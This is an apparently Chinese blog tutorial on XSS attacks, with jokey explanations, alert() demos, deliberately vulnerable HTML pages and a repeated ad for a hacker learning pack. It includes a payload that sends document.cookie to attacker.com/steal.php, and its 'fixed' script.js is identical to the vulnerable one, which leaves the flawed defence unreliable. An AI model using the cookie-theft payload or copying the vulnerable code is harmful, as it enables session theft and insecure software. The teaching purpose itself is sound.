手把手教你用代码演示网络安全界的“葵花点穴手”：XSS攻击，从零基础到精通，收藏这篇就够了！

本文链接：https://blog.youkuaiyun.com/Libra1313/article/details/146503397

各位互联网冲浪选手，大家好！ 👋 听说你们还在傻傻分不清XSS攻击是啥？ 🤦‍♂️ 今天就让咱来聊聊这个网络安全界让人闻风丧胆的“葵花点穴手”——XSS攻击！保证让你看完直呼内行，妈妈再也不用担心我的信息被盗啦！ 😎

一、啥是XSS？一句话给你讲明白！

XSS攻击，全称Cross-Site Scripting，翻译过来就是“跨站脚本攻击”。听着挺高大上，其实就是黑客蜀黍往你浏览的网页里塞了点“小纸条”（恶意脚本），然后你的浏览器就傻乎乎地执行了，结果就是你的账号密码、Cookie啥的，都被黑客蜀黍偷走啦！ 😱

二、XSS攻击：两种流派，总有一款适合你（呸！是总有一款能攻击你！）

XSS攻击分两种，就像武林高手分正邪两派，但目的都是搞事情！

1. 存储型XSS：持久战，防不胜防！

这种攻击就像把病毒埋在你家后院的井里，只要你喝水（访问页面），就中招！ 🤯 攻击者把恶意脚本存储在网站的数据库里，比如留言板、评论区。只要你访问了包含恶意脚本的页面，脚本就会在你浏览器里执行。

举个栗子： 你在留言板里看到一条评论，内容是：<script>alert('你被XSS攻击啦！')</script>，然后你就真的被攻击了！ 😭

2. 反射型XSS：一次性买卖，见效快！

这种攻击就像黑客蜀黍给你发了个带毒的链接，你手贱点开了，就GG了！ 💀 攻击者把恶意脚本作为参数，通过URL发送给网站。网站再把这个恶意脚本“反射”给你的浏览器，然后你的浏览器就中招了。

举个栗子： 你在搜索框里输入：<script>alert('你又被XSS攻击啦！')</script>，然后你就又被攻击了！ 💔

三、XSS攻击：花样百出，总有一款能“戳”中你！

XSS攻击的实现方式五花八门，防不胜防，下面就给大家演示几种常见的“戳”人姿势：

1. HTML注入：我往你家墙上乱涂乱画！

攻击者通过注入HTML标签和属性，来执行恶意代码。就像在你家墙上画了个传送门，把你传送到黑客蜀黍的服务器！ 🚪

代码示例：

<script>alert('XSS攻击')</script>

运行效果： 只要你的浏览器解析了这段代码，就会弹出一个提示框，告诉你“你被XSS攻击啦！”

示例代码：

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>XSS攻击</title>
</head>
<body>
    <h1>Welcome to my website!</h1>
    <p>Enter your name:</p>
    <input type="text" id="name">
    <button onclick="greet()">Greet</button>
    <script>
        //在input输入框中输入<script>alert('XSS攻击')</script>
        function greet() {
            let name = document.getElementById("name").value;
            document.write("<p>Hello, " + name + "!</p>");
        }
    </script>
</body>
</html>

运行截图：

2. JavaScript注入：我控制你的大脑！

攻击者通过注入JavaScript代码，来执行恶意代码。就像黑客蜀黍远程控制你的电脑，想干啥就干啥！ 💻

代码示例：

<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>

运行效果： 只要你的浏览器解析了这段代码，就会把你的Cookie发送到黑客蜀黍的服务器，然后你的账号就被盗啦！ 💸

友情提示： attacker.com/steal.php 这种链接一看就不是啥正经玩意儿，千万别手贱去点！ 🙅‍♂️ 这种网站就是用来钓鱼的，专门窃取你的敏感信息。

示例代码：

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>JavaScript注入</title>
</head>
<body>
    <h1>Welcome to my website!</h1>
    <p>Enter your name:</p>
    <input type="text" id="name">
    <button onclick="greet()">Greet</button>
    <script>
        function greet() {
            let name = document.getElementById("name").value;
            document.write("<p>Hello, " + name + "!</p>");
            let script = document.createElement("script");
            script.innerHTML = "alert('JavaScript注入xss攻击!')";
            document.body.appendChild(script);
        }
    </script>
</body>
</html>

运行截图：

3. URL注入：我给你指一条“明路”，把你带到沟里！

攻击者通过在URL中注入恶意代码，来执行恶意代码。就像黑客蜀黍给你设了个陷阱，你一脚踩进去就完蛋了！ 🕳️

代码示例：

http://example.com/search.php?q=<script>alert('XSS攻击')</script>

运行效果： 只要你访问了这个URL，就会执行恶意代码，然后你就被攻击了。

友情提示： example.com 只是个示例网站，别当真！ 🤣

示例代码：

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>URL注入XSS攻击</title>
</head>
<body>
    <h1>Welcome to my website!</h1>
    <p>Enter your name:</p>
    <input type="text" id="name">
    <button onclick="greet()">Greet</button>
    <script src="script.js"></script>
</body>
</html>

script.js:

function greet() {
    let name = document.getElementById("name").value;
    document.write("<p>Hello, " + name + "!</p>");
    let url = "http://example.com/search?q=" + encodeURIComponent("<script>alert('XSS攻击')</script>");
    window.location.href = url;
}

为了防止URL注入XSS攻击，我们应该对URL参数进行过滤和转义，以确保它们不包含任何恶意脚本。 在这个例子中，我们使用了encodeURIComponent()函数来对查询参数进行编码，以确保它们不包含任何特殊字符。

修改后的script.js:

function greet() {
    let name = document.getElementById("name").value;
    document.write("<p>Hello, " + name + "!</p>");
    //使用了encodeURLComponent()函数来对查询参数进行编码
    let url = "http://example.com/search?q=" + encodeURIComponent("<script>alert('XSS攻击')</script>");
    window.location.href = url;
}

四、总结：保护好你的“菊花”，远离XSS！

XSS攻击 就像网络世界里的牛皮癣，防不胜防。想要保护好自己的信息安全，就要时刻保持警惕，做好以下几点：

服务器端过滤和转义用户输入的内容： 这是最有效的防御手段，就像给你的网站穿上防弹衣！ 🛡️
不要点击不明链接： 就像不要随便吃陌生人给的糖果！ 🍬
及时更新浏览器和插件： 就像给你的电脑打疫苗！ 💉

记住：网络安全，人人有责！ 💪

黑客/网络安全学习包

资料目录

成长路线图&学习规划
配套视频教程
SRC&黑客文籍
护网行动资料
黑客必读书单
面试题合集

因篇幅有限，仅展示部分资料，需要点击下方链接即可前往获取

*************************************优快云大礼包：《黑客&网络安全入门&进阶学习资源包》免费分享*************************************

1.成长路线图&学习规划

要学习一门新的技术，作为新手一定要先学习成长路线图，方向不对，努力白费。

对于从来没有接触过网络安全的同学，我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。

因篇幅有限，仅展示部分资料，需要点击下方链接即可前往获取

*************************************优快云大礼包：《黑客&网络安全入门&进阶学习资源包》免费分享*************************************

2.视频教程

很多朋友都不喜欢晦涩的文字，我也为大家准备了视频教程，其中一共有21个章节，每个章节都是当前板块的精华浓缩。

因篇幅有限，仅展示部分资料，需要点击下方链接即可前往获取

*************************************优快云大礼包：《黑客&网络安全入门&进阶学习资源包》免费分享*************************************

3.SRC&黑客文籍

大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍：

黑客资料由于是敏感资源，这里不能直接展示哦！

4.护网行动资料

其中关于HW护网行动，也准备了对应的资料，这些内容可相当于比赛的金手指！

5.黑客必读书单

6.面试题合集

当你自学到这里，你就要开始思考找工作的事情了，而工作绕不开的就是真题和面试题。

更多内容为防止和谐，可以扫描获取~

因篇幅有限，仅展示部分资料，需要点击下方链接即可前往获取

*************************************优快云大礼包：《黑客&网络安全入门&进阶学习资源包》免费分享*********************************